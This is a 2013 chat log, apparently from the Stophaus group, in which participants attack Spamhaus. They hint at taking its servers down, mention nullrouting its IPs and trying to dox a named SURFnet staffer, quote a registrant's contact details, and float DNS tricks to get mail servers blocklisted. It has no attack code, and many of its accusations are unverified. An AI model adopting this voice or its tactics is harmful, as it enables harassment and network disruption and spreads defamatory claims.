[19.03.2013 20:24:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and it had a lot of 'according to' and 'spamhaus claims' in it :P [19.03.2013 20:24:35] eDataKing: they have all put Steve's statement at the bottom. Gotta love diplomacy ;) [19.03.2013 20:25:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: probably they all also included the 'according to spamhaus' 'spamhaus claims' etc [19.03.2013 20:25:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in between :P [19.03.2013 20:25:28] eDataKing: they sure did [19.03.2013 20:25:31] eDataKing: even the tweets [19.03.2013 20:25:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: especially the part where steve linford claims you are a nutcase (uhuh, a nutcase that just so happens to keep them down for 5 days in that case ;) [19.03.2013 20:25:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: makes perfect sense haha [19.03.2013 20:26:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically it acknowledges everything we say about spamhaus, as they do it in their god damn press statement :P [19.03.2013 20:26:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:26:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: slander :P [19.03.2013 20:29:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [19.03.2013 20:29:42] eDataKing: after all, that is how they make their money [19.03.2013 20:29:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically you get only half the fucking internet if you resolve them haha [19.03.2013 20:30:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and if you claim to be an admin, for fucks sake, admin... don't outsource the censorship to a vague limited probably funded by the cia [19.03.2013 20:30:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:30:24] eDataKing: they want that half to pay is all [19.03.2013 20:30:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: national security and all that [19.03.2013 20:30:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:30:34] eDataKing: an end to free communication on the web [19.03.2013 20:30:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: seriously i don't know ANY SERIOUS ORGANISATION that thinks its a good idea... to let offshore limiteds select who gets to communicate with them [19.03.2013 20:31:02] eDataKing: it makes no sense [19.03.2013 20:31:30] eDataKing: I wouldn't even want my Gov to, but some dude with an opinion so great he can't even put a comment box on his ROKSO files [19.03.2013 20:31:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simon: that sorta people... why don't you make chinese internet an export product lol :P [19.03.2013 20:31:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly they like big firewalls :P [19.03.2013 20:32:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now we made it even easier for you, you don't have to configure spamhaus, you can just get a chinese adsl connection at your home in .nl! [19.03.2013 20:32:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yay [19.03.2013 20:32:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: speaking about which.. i think we're gonna need chinanet transit :P [19.03.2013 20:32:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least they don't give a fuck [19.03.2013 20:32:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: would make nice pr :P [19.03.2013 20:32:57] eDataKing: I think .pl and .at are the best for privacy these days [19.03.2013 20:33:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. if spamhaus would operate in .nl... they would have some serious issues :P [19.03.2013 20:33:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same for .de [19.03.2013 20:33:33] eDataKing: they couldn't [19.03.2013 20:33:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same for .ch (which makes me wonder how they got away with that for all those years ;) [19.03.2013 20:33:42] eDataKing: just like they could never really operate here [19.03.2013 20:33:45] eDataKing: they would never allow it [19.03.2013 20:33:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in .de they would not even get past the company registration process, no [19.03.2013 20:33:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as a natural person in germany is required [19.03.2013 20:33:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and a real office [19.03.2013 20:33:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:34:03] eDataKing: yup [19.03.2013 20:34:19] eDataKing: need a SS# to file for a business here and some Directors to be Official [19.03.2013 20:34:40] eDataKing: he couldn't get any more Directors than his girlfriend. Not enough chap ;) [19.03.2013 20:35:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well some of his limiteds have other limiteds as directors lol [19.03.2013 20:35:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lets look at the wastelands foundation shall we... gee i see like 6 natural persons in there :P [19.03.2013 20:35:55] eDataKing: I have only seen The Graeme (2 of them) [19.03.2013 20:35:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: all proxies, ofcourse, but still :P [19.03.2013 20:35:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: natural persons [19.03.2013 20:36:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unlike 'spamhaus' :P [19.03.2013 20:36:01] eDataKing: and they are on hundreds of registrations [19.03.2013 20:36:11] eDataKing: they are a boiler room for company registrations [19.03.2013 20:36:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: speaking about foundations, why doesn't this fuck have any, if he claims to be a non-profit [19.03.2013 20:36:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a limited is not the vehicle of choice there :P [19.03.2013 20:36:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unless ofcourse it needs to be vague and shady [19.03.2013 20:36:49] narko: he says [19.03.2013 20:36:57] narko: he has the Spamhaus Foundation registered in litchtenstein [19.03.2013 20:37:02] narko: but there's never been any evidence of that [19.03.2013 20:37:05] eDataKing: then there is Spamhaus Logistics Limited that appears as a Director on some instead of Geraldine (his girl) [19.03.2013 20:39:11] eDataKing: the only place I see that referenced is on their site and on wikipedia and wikipedia just says it is on their site [19.03.2013 20:39:29] eDataKing: I have never seen anything to confirm that there is a The Spamhaus Foundation in lichtenstien. Have you? [19.03.2013 20:39:37] narko: nope [19.03.2013 20:39:47] eDataKing: I don't believe it when they say it [19.03.2013 20:40:11] narko: the company is non-profit [19.03.2013 20:40:20] eDataKing: I have to see some sort of verifiable evidence because they are the most lying sacks of shits I have ever ran into [19.03.2013 20:40:31] narko: of course the COMPANY doesn't make any profit, because all of the income goes as "salary" to stevey :P [19.03.2013 20:40:43] narko: so it's a normal non-profit [19.03.2013 20:40:48] eDataKing: Well, Spamhaus Technology is a for-profit [19.03.2013 20:40:56] eDataKing: Spamhaus Logistics is for-profit [19.03.2013 20:41:08] eDataKing: and Spamhaus Whitelist is also for-profit [19.03.2013 20:41:26] eDataKing: Which all have the same associated Board of Directors as The Spamhaus Project's NP [19.03.2013 20:44:17] *** Alex Optik quit *** [19.03.2013 20:45:15] eDataKing: I knew Alex was sketchy yesterday [19.03.2013 20:45:42] eDataKing: I even asked him what he meant about something [19.03.2013 20:45:53] eDataKing: who is he btw? [19.03.2013 20:46:08] Antitheist: some russian [19.03.2013 20:46:19] Antitheist: invited by yuri i think [19.03.2013 20:46:24] eDataKing: ok, he isn't a potential snitch then? [19.03.2013 20:46:32] Antitheist: doubtful [19.03.2013 20:46:36] eDataKing: kk [19.03.2013 20:46:53] narko: why is there people in here [19.03.2013 20:46:55] narko: who have never talked [19.03.2013 20:46:59] narko: (puke) [19.03.2013 20:47:02] narko: it looks suspicious [19.03.2013 20:47:05] Antitheist: who is marco? [19.03.2013 20:47:07] Antitheist: and markos [19.03.2013 20:47:15] eDataKing: I saw marco post a while back [19.03.2013 20:47:22] eDataKing: or one of those [19.03.2013 20:47:25] Antitheist: and joseph dickens? [19.03.2013 20:47:27] narko: joseph dickens [19.03.2013 20:47:29] eDataKing: maybe it was markos I saw [19.03.2013 20:47:37] narko: andrei stanchevici [19.03.2013 20:47:40] narko: eternity _ [19.03.2013 20:47:41] narko: goo [19.03.2013 20:47:44] narko: dufus_svk [19.03.2013 20:47:44] eDataKing: I know who Joe is and I would trust him [19.03.2013 20:48:15] Antitheist: MikeRomero? [19.03.2013 20:48:21] eDataKing: I saw Goo post, he went to the IRC [19.03.2013 20:48:47] NM: Eternity is good guy [19.03.2013 20:48:59] NM: I invited him [19.03.2013 20:49:01] Antitheist: eternity posts on irc [19.03.2013 20:49:06] Antitheist: hes legit [19.03.2013 20:49:25] NM: :)))) [19.03.2013 20:49:30] eDataKing: I haven't seen a leak yet [19.03.2013 20:49:42] eDataKing: and I run the hell out of Alerts and Twitter searches [19.03.2013 20:49:47] Antitheist: one thing is how they knew that you are behind stophaus [19.03.2013 20:49:51] narko: the FBI doesnt post on twitter [19.03.2013 20:49:54] Antitheist: or you didnt hide it? [19.03.2013 20:50:15] eDataKing: I have been posted to nanae about Stophaus for years [19.03.2013 20:50:45] eDataKing: but it was at Stophaus.org and there was a site for it [19.03.2013 20:50:53] Antitheist: i knew why they assumed its russian "cybercriminals" [19.03.2013 20:51:16] Antitheist: since stophaus moved to Yuri's corbina reverse proxy which is also used for botnets [19.03.2013 20:51:25] eDataKing: they can assume al they want, but there are people from many countries represented in this group and even actively helping the cause [19.03.2013 20:51:27] NM: :) [19.03.2013 20:51:57] eDataKing: so they were WRONG because they were misdirecting to avoid the real issue so they could make STOPhaus appear to be part of my rants on nanae over the past few years [19.03.2013 20:52:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well. thats their fault [19.03.2013 20:52:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as the rest of the world doesn't even know what nanae is [19.03.2013 20:52:41] eDataKing: that has been their fault for 12 years lol [19.03.2013 20:52:55] eDataKing: nanae is not for the world [19.03.2013 20:53:03] eDataKing: they are trying to hide that group [19.03.2013 20:53:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sure i've heard of it when i worked at xs4all ... 1996-2001 or so [19.03.2013 20:53:14] eDataKing: they hate that GG is even around [19.03.2013 20:53:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: back then, it may have been something like nanog was until a few years ago [19.03.2013 20:53:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now, it has 30 people on it [19.03.2013 20:53:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 20:53:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most visitors are probably googlebot :P [19.03.2013 20:53:29] eDataKing: it is the first point of report for SPamhaus volunteers [19.03.2013 20:53:41] eDataKing: Spamhaus gathers data from that group and has since 1998 [19.03.2013 20:54:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah so they picked a protocol that you got feeds to for free with your transit from kpnqwest [19.03.2013 20:54:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: to keep things secret ... uhuh :P [19.03.2013 20:54:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their fault, again :P [19.03.2013 20:54:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: see back in the days when i started doing bgp networks (First for other carriers etc) [19.03.2013 20:54:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most transit providers actually would offer you free nntp full feeds with the bgp session [19.03.2013 20:54:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:54:53] eDataKing: who knows if it was supposed to be secret at first, but they sure try to avoid people being aware of what it's purpose is] [19.03.2013 20:55:11] eDataKing: that is why they use code and post lipsum and things [19.03.2013 20:55:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt they were even on it from the start [19.03.2013 20:55:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: how long do those archives go back [19.03.2013 20:55:21] eDataKing: they are manipulating the SERPs for the content they want to appear [19.03.2013 20:55:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: google wasn't around in those days, thats for sure [19.03.2013 20:55:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 20:55:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: google only showed up about a decade after is started doing computing. [19.03.2013 20:55:41] eDataKing: no, this is a different day for sure [19.03.2013 20:55:56] eDataKing: but didn't you and I change with the web some? lol [19.03.2013 20:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: back then it was all altavista, and infoseek.. [19.03.2013 20:56:21] eDataKing: that was before me [19.03.2013 20:56:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah.. i frequently have to remind the noobs that it doesn't matter that our websites look like its 1996 [19.03.2013 20:56:32] eDataKing: I was still trying to be 2pac or something [19.03.2013 20:56:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we were around before google [19.03.2013 20:56:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:56:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the same thing goes for people complaining back in the days that wasn't indexed by google [19.03.2013 20:56:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not our fault, thats google's fault [19.03.2013 20:57:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:57:04] eDataKing: yup [19.03.2013 20:57:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we and html 2.0 definately got around before google inc haha [19.03.2013 20:57:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if their bot doesn't index it, its their problem [19.03.2013 20:57:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 20:57:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when i started doing internets, http was still rpetty much 'experimental' ;) [19.03.2013 20:57:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: mozilla 0.9 [19.03.2013 20:57:38] eDataKing: so, what is down right now? Anything? [19.03.2013 20:57:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a lot of stuff still was on gopher and ftp [19.03.2013 20:57:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: http usually was on port 8080 or 8000 [19.03.2013 20:58:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not even on 80 yet [19.03.2013 20:58:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and 1 website per ip as virtualhosting only came with http 1.0 [19.03.2013 20:58:06] eDataKing: there is no talk on twitter about a current attack [19.03.2013 20:58:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those who need to know, know :P [19.03.2013 20:58:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: xs4all knows :P [19.03.2013 20:58:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 20:58:25] eDataKing: gotcha [19.03.2013 20:59:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: xs4all is still a major force in internet policy making in the eu :P [19.03.2013 20:59:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as long as they get the hint that ehm... spamhaus is a bunch of criminals and 'fighting spam' should not be done -that- way anyway, its fine [19.03.2013 20:59:57] eDataKing: that's what counts [19.03.2013 21:00:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as for surfnet... maybe i should have mentioned wim whatshisname as a direct responsible contact in those letters :P [19.03.2013 21:00:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as by now probably some governmetn officials are going 'hmm... computer stuff wut do' [19.03.2013 21:02:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.youtube.com/watch?v=lwoSFQb5HVk <- spamhaus having a party :P [19.03.2013 21:04:15] eDataKing: maybe [19.03.2013 21:04:17] eDataKing: http://stophaus.com/forumdisplay.php?125-Wim-Biemolt-%28SURFnet%29 [19.03.2013 21:05:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Main Info for Wim Biemolt (SURFnet) The is the main information for this NANAE abuser and libel poster that works closely with Spamhaus if not a Spamhaus Operative. [19.03.2013 21:05:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he posts on nanae ? [19.03.2013 21:05:36] Antitheist: eDataKing remember, we spoke about him [19.03.2013 21:05:45] Antitheist: he is spamhaus.as1101.net admin [19.03.2013 21:06:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually he's admin of all asn's 1100-1199 [19.03.2013 21:06:09] Antitheist: some CERT-NL guy [19.03.2013 21:06:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they have the whole god damn block [19.03.2013 21:06:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. he works for surfnet. [19.03.2013 21:06:30] eDataKing: that's right [19.03.2013 21:06:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: surfnet is the thing that runs the network for all dutch state schools and universities [19.03.2013 21:06:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: tricky thing is, they're supposed to do only -that- [19.03.2013 21:06:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they operate on tax money [19.03.2013 21:06:55] narko: well [19.03.2013 21:06:56] eDataKing: I really think he owns surfnet tbh [19.03.2013 21:06:58] narko: spamhaus is non-profit [19.03.2013 21:07:01] narko: that's a good excuse, no? [19.03.2013 21:07:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he can't own surfnet as the state owns surfnet [19.03.2013 21:07:06] eDataKing: I haven't quite confirmed that, but it does look like it a lot [19.03.2013 21:07:18] eDataKing: oh yeah. someone actually corrected me yesterday [19.03.2013 21:07:26] eDataKing: Michael something is the CEO of Surfnet [19.03.2013 21:07:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: spamhaus is not an approved educational facility by the dutch minister of education [19.03.2013 21:07:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now is it :P [19.03.2013 21:07:35] eDataKing: so surfnet is a government upstream [19.03.2013 21:07:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it doesn't look much like a school [19.03.2013 21:07:37] Antitheist: yes that was me [19.03.2013 21:07:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 21:07:51] Antitheist: we tried to dox who is that Wim [19.03.2013 21:08:01] eDataKing: I recall now [19.03.2013 21:08:10] eDataKing: I know he is extremely important at surfnet then [19.03.2013 21:20:25] narko: spamhaus stopped posting SBLs? [19.03.2013 21:21:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they did? [19.03.2013 21:22:08] narko: there's no new SBL in 2 hours [19.03.2013 21:22:17] narko: they've been posting every minute all day [19.03.2013 21:22:41] eDataKing: wow [19.03.2013 21:22:48] eDataKing: :) [19.03.2013 21:23:12] narko: it could be because i got a lot of their ips nullrouted now :P [19.03.2013 21:23:18] narko: smtp-ext-layer-b [19.03.2013 21:23:21] narko: the switch ip [19.03.2013 21:23:26] narko: and two more [19.03.2013 21:23:40] eDataKing: possibly, something will have to be said as it will be noticed by someone soon [19.03.2013 21:24:01] eDataKing: I am watching everywhere on the web [19.03.2013 21:24:06] eDataKing: not much chatter yet [19.03.2013 21:24:42] eDataKing: everywhere is a strong word, but you know what I mean [19.03.2013 21:25:10] eDataKing: using Alerts, Monitter, and a FB Search tool [19.03.2013 21:25:34] narko: they also did not delist my site ip after nameservers were changed [19.03.2013 21:25:47] narko: i don't know if it's because they're down.. or because they just don't like me [19.03.2013 21:26:08] eDataKing: I have had SBLs sit there for months [19.03.2013 21:26:41] eDataKing: but usually they will delist [19.03.2013 21:26:56] eDataKing: Sven is still listed and I haven't had content on a server there in months [19.03.2013 21:27:09] narko: lol [19.03.2013 21:29:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we never tell them to remove it [19.03.2013 21:29:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i can't quite see why we should help them to maintain their illegal database [19.03.2013 21:30:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i don't want to be removed from it, i want it shut down [19.03.2013 21:30:59] narko: i just need different customers [19.03.2013 21:31:16] narko: need to learn chinese ;) then get only customers from Russia and China and no one will even be affected by my SBL listings [19.03.2013 21:31:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: your transits.. [19.03.2013 21:31:41] narko: i'm moving host anyway [19.03.2013 21:31:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just get your own network. [19.03.2013 21:31:56] narko: i can't afford it [19.03.2013 21:31:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: drop a line to ours :P [19.03.2013 21:32:06] narko: i run my host company since FEB 2012 and i am still losing like 350$ per month lol [19.03.2013 21:32:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we've been doing it commercially since 1996 on 'cb3rob' [19.03.2013 21:32:34] eDataKing: how much would that be? [19.03.2013 21:32:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and well.. there are times where it runs at a loss :P [19.03.2013 21:32:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and there are times where it makes heaps :P [19.03.2013 21:32:55] narko: i have not had a single month [19.03.2013 21:33:01] narko: where the costs of servers+licenses were covered.. [19.03.2013 21:33:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you don't have your own servers either/ [19.03.2013 21:33:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ? [19.03.2013 21:33:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just reselling? [19.03.2013 21:33:32] narko: rent server, install cpanel, advertise [19.03.2013 21:33:33] narko: (y) [19.03.2013 21:33:45] eDataKing: agreed [19.03.2013 21:33:54] narko: but I think soon i will buy my own servers and colo [19.03.2013 21:33:56] narko: it will be cheaper [19.03.2013 21:34:04] eDataKing: agreed as well [19.03.2013 21:34:06] narko: the problem is [19.03.2013 21:34:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'd say thats the only way to do it :P [19.03.2013 21:34:19] narko: when I am renting servers and the hosts say "You are abusing" I can just move [19.03.2013 21:34:23] narko: if i am doing colo it's not so simple [19.03.2013 21:34:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats why you're not gonan use -their- network [19.03.2013 21:34:44] narko: no one will even sell me a /24 [19.03.2013 21:34:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just their electricity and fibers and racks [19.03.2013 21:35:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess a /24 should not be an issue in here. [19.03.2013 21:35:06] eDataKing: Level 3 has a ton of upstream available [19.03.2013 21:35:12] eDataKing: and they are 20 mins away from me [19.03.2013 21:35:12] narko: already asked in here 3 times [19.03.2013 21:35:16] narko: no one will sell me a /24 :P lol [19.03.2013 21:35:41] narko: ah NEW SBL [19.03.2013 21:35:45] narko: http://www.spamhaus.org/sbl/query/SBL179379 [19.03.2013 21:35:48] narko: infium ip got listed again [19.03.2013 21:35:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gee what a surprise [19.03.2013 21:36:10] narko: for antispamhaus.org [19.03.2013 21:36:13] narko: nott even the same domain [19.03.2013 21:36:17] narko: ;( [19.03.2013 21:36:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not even ours? :P [19.03.2013 21:36:39] Antitheist: only /32? [19.03.2013 21:36:44] narko: for now [19.03.2013 21:36:46] narko: wait another 5 minutes [19.03.2013 21:36:49] Antitheist: what is this..we want /24s! [19.03.2013 21:36:49] narko: it'll be the entire block [19.03.2013 21:37:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah so now andrew is also 'andrey kochetov' [19.03.2013 21:37:04] narko: lol [19.03.2013 21:37:16] narko: antispamhaus.org isn't even up [19.03.2013 21:37:18] narko: 403 forbidden [19.03.2013 21:37:34] narko: if I make some anti-spamhaus A records and point them to their xs4all IPs can i get them to blacklist themself? :P [19.03.2013 21:37:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: get infiumhost in here. [19.03.2013 21:37:57] eDataKing: now I think it is apparent what I have been bitching about for years [19.03.2013 21:38:04] eDataKing: sorry that happened narko [19.03.2013 21:45:42] Antitheist: those retards will list anything that stophaus/antispamhaus resolves to [19.03.2013 21:46:05] Antitheist: i say fuck yeah, lets put google's smtps there for fun [19.03.2013 21:49:56] eDataKing: @spamhaus cbl abuseat org out of service , not open in the web browser, [19.03.2013 21:50:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gee... i wonder how that happened :P [19.03.2013 21:50:33] eDataKing: lol [19.03.2013 21:51:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: true :P [19.03.2013 21:51:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and hotmail :P [19.03.2013 21:51:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: andsmtp-ext-layer.spamhaus.org [19.03.2013 21:51:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 21:55:15] eDataKing: (beer) [19.03.2013 21:57:32] eDataKing: Ken Magill finally got his piece, but guess from who? Bastard. I really had hopes for him :( http://www.magillreport.com/Spamhaus-Provides-First-Batch-of-Answers/ [19.03.2013 22:19:39] eDataKing: OMG, this one is ROYAL: http://www.spamhaus.org/news/article/13/ [19.03.2013 22:19:52] eDataKing: Spammers release a new virus specifically to attack SPamhaus lol [19.03.2013 22:20:37] eDataKing: the funniest part is that I missed the same thing the poster missed...that was from 2003 [19.03.2013 22:20:38] eDataKing: oops [19.03.2013 22:26:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: excellent idea :P [19.03.2013 22:32:57] Antitheist: LOL, cloudflare fucked spamhaus privacy violation crimes [19.03.2013 22:33:12] Antitheist: since it adds email protection by default [19.03.2013 22:33:20] Antitheist: http://www.spamhaus.org/sbl/query/SBL179379 [19.03.2013 22:33:32] Antitheist: Registrant Phone:+7.9160000000 Registrant Email:[email protected] [19.03.2013 22:33:47] Antitheist: when you try to mouseover it, it will tell you about this cloudflare feature [19.03.2013 22:34:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Registrant Phone:+7.9160000000 Registrant Email:ak-183@yandex.ru [19.03.2013 22:34:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no need to mouseover it [19.03.2013 22:34:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats all i see [19.03.2013 22:34:34] Antitheist: for browsers, i try with wget [19.03.2013 22:34:39] Antitheist: i scrape SBLs [19.03.2013 22:34:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: firefox 17 on mac [19.03.2013 22:35:11] Antitheist: yeah, but automatic bots will have that [email protected] thingie [19.03.2013 22:35:30] Antitheist: without javascript cloudflare wont show you the email [19.03.2013 22:41:37] Antitheist: which i assume will also break their partners software that read SBLs in the same way [19.03.2013 22:45:09] Antitheist: spamhaus.org. 14992 IN TXT "v=spf1 ip4:82.94.216.224/27 ~all" [19.03.2013 22:45:32] Antitheist: probably the site is somewhere on that dirty /27 [19.03.2013 22:52:22] narko: In addition to the records visible on the 'public' ROKSO site, ROKSO has 'classified' sections on many of the listed spammers which contain information too sensitive to be published. These 'classified' records include data on criminal activities and evidence for use in prosecution. Agencies with password-protected access to a secure 'classified' version of ROKSO include: (UK) Scotland Yard CCU, SOCA and the OFT. [19.03.2013 22:52:43] narko: the UK police knows about the site that breaks the UK laws..? [19.03.2013 22:54:17] eDataKing: Who knows, Facebook has that policy and I know a few admins that have a special backend for "VIP Guests" in their regard. The forum has Mods for crying out loud. What good does that type of feature do when it is not being used OR if the data there is merely a freebie and saves detectives workloads. [19.03.2013 22:54:56] narko: oh no [19.03.2013 22:55:06] narko: search stophaus on google and spamhaus news post is above stophaus.com [19.03.2013 22:57:28] eDataKing: like that happened naturally [19.03.2013 22:57:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; QUESTION SECTION: ;fdsfsda. IN TXT ;; ANSWER SECTION: fdsfsda. 38400 IN TXT "We" "STRONGLY" "advise" "not" "to" "outsource" "your" "filtering" "to" "the" "criminal" "spamhaus" "gang," "http://www.stophaus.com/" [19.03.2013 22:57:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm thats not good :P [19.03.2013 22:58:02] eDataKing: That is how they are able to run smear campaigns so effectively [19.03.2013 23:20:40] narko: http://www.seychellesoffshore.com/ [19.03.2013 23:20:43] narko: trustable company? [19.03.2013 23:22:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if spamhaus uses them its probably good haha [19.03.2013 23:22:20] narko: I will use them [19.03.2013 23:22:26] narko: because ip-as.com only works with registered companies [19.03.2013 23:22:31] narko: (angry) [19.03.2013 23:23:33] Antitheist: ip-as sells only PA now [19.03.2013 23:23:59] narko: everyone only sells PA and i dont know the difference between PI and PA so i'm just going to buy PA [19.03.2013 23:24:43] Valeriy Uhov: provider can take PA back after spamhaus list it haha [19.03.2013 23:24:55] Valeriy Uhov: because then they often list all providers PA [19.03.2013 23:25:40] narko: well no one will sell me PI [19.03.2013 23:26:12] Valeriy Uhov: only if buy LIR [19.03.2013 23:26:17] Valeriy Uhov: with own PA [19.03.2013 23:26:30] narko: do you know someone that you can make me into contact with? [19.03.2013 23:27:28] Antitheist: some romanian LIRs dont care about spamhaus [19.03.2013 23:27:31] Antitheist: try ip.ro [19.03.2013 23:27:35] narko: i won't be listed on spamhaus [19.03.2013 23:27:37] Valeriy Uhov: ip.ro cares already [19.03.2013 